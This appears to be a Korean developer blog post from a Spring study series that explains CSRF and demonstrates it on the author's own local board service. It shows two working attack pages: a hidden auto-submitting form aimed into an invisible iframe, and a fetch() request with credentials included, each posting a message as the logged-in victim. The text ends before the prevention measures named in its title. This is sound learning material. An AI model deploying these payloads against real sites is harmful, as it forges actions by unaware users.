CSRF 공격 방지 - SameSite 쿠키, CSRF 토큰

BackEnd/Spring

CSRF 공격 방지 - SameSite 쿠키, CSRF 토큰

Potwings 2025. 10. 7. 16:28

인증과 관련하여 Spring Security에 대해 학습하던 중 CSRF라는 키워드에 갑자기 궁금증이 생겼다.

최근에는 대부분의 백엔드 서버가 REST API 형식으로 데이터를 제공하여 CSRF에 대한 검증을 하지 않는다 하였다.

REST API 서버에서 CSRF에 대한 검증이 disable 상태인 모습

그렇다면 기존의 세션 방식으로 인증을 진행할 때는 왜 CSRF 공격에 대한 대비를 해야했을까??

CSRF 공격이란?

Cross-Site Request Forgery의 줄임말로 사이트 간 요청 위조라는 의미이며,

공격자가 인증된 사용자의 권한을 악용하여 사용자가 의도하지 않은 요청을 다른 사이트로 보내도록 하는 공격 기법이다.

CSRF 공격 테스트

우선 테스트를 위해 공격 대상이 될 게시판 서비스를 생성하였다.

그리고 CSRF 공격을 시도하기 위해 피싱 페이지를 제작하였다.

이 둘은 서로 다른 서비스임을 가정하기 위해 게시판 서비스는 localhost로 접근, 피싱 사이트는 127.0.0.1로 접근하였다.

이제 게시판 서비스에 로그인한 사용자가 피싱 사이트에 접근할 경우 사용자의 인증 정보를 활용하여 공격자가 의도한대로 게시글이 등록되게 할 것이다.

이 때 CSRF 공격을 두가지 방법으로 구현하였다.

1. form을 활용한 CSRF 공격

페이지 로딩 시 자동으로 csrfForm을 submit 하도록 하여 사용자의 인증 정보를 활용하여 게시글을 작성하는 방식이다.

<!-- 방법 1: Form & iframe 활용 -->
<form id="csrfForm" action="http://localhost:8080/board/new" method="POST" target="hiddenFrame">
  <input type="hidden" name="title" value="Form CSRF ATTACK">
  <input type="hidden" name="writer" value="hacker">
  <input type="hidden" name="content" value="게시판 중학생한테 털렸죠 ㅋㅋㅋㅋㅋ">
</form>

<!-- iframe 추가 - 폼 제출 결과 여기로 이동 (사용자가 공격 사실 모르도록) -->
<iframe name="hiddenFrame" style="display:none;"></iframe>

<script>
  // 노출되지 않은 form에서 진행된 요청 전송
  document.getElementById('csrfForm').submit();
 </script>

form을 submit할 경우 자동으로 페이지 이동이 진행되는데

hiddenFrame을 생성하여 페이지 이동을 hiddenFrame에서 발생시켜 사용자가 알아차리지 못하도록 하였다.

2. ajax를 활용한 CSRF 공격

두번째 방법은 ajax를 활용하여 페이지 로딩 시 게시글이 작성되도록 하는 방식이다.

  <!-- 방법 2: ajax를 활용한 CSRF 공격 -->
  <!-- 요청 시 credentials: 'include' 옵션을 추가하여 쿠키(세션) 포함 -->
  function sendCSRF() {
    var formData = new FormData();
    formData.append('title', 'JS CSRF ATTACK');
    formData.append('writer', 'hacker');
    formData.append('content', '게시판 중학생한테 털렸죠 ㅋㅋㅋㅋㅋ');

    fetch('http://localhost:8080/board/new', {
      method: 'POST',
      body: formData,
      credentials: 'include',  // 쿠키(세션) 포함
    }).then((result) => {
      document.getElementById('status').innerHTML = '<p style="color: green;">AJAX 요청 전송 완료</p>';
    });
  }

  sendCSRF();

게시판 서비스에서 사용자의 인증된 세션 정보는 쿠키에 저장하고 있으므로 ajax 요청 시 인증 정보도 같이 전달하기 위해 credentials: 'include' 옵션을 추가해주었다.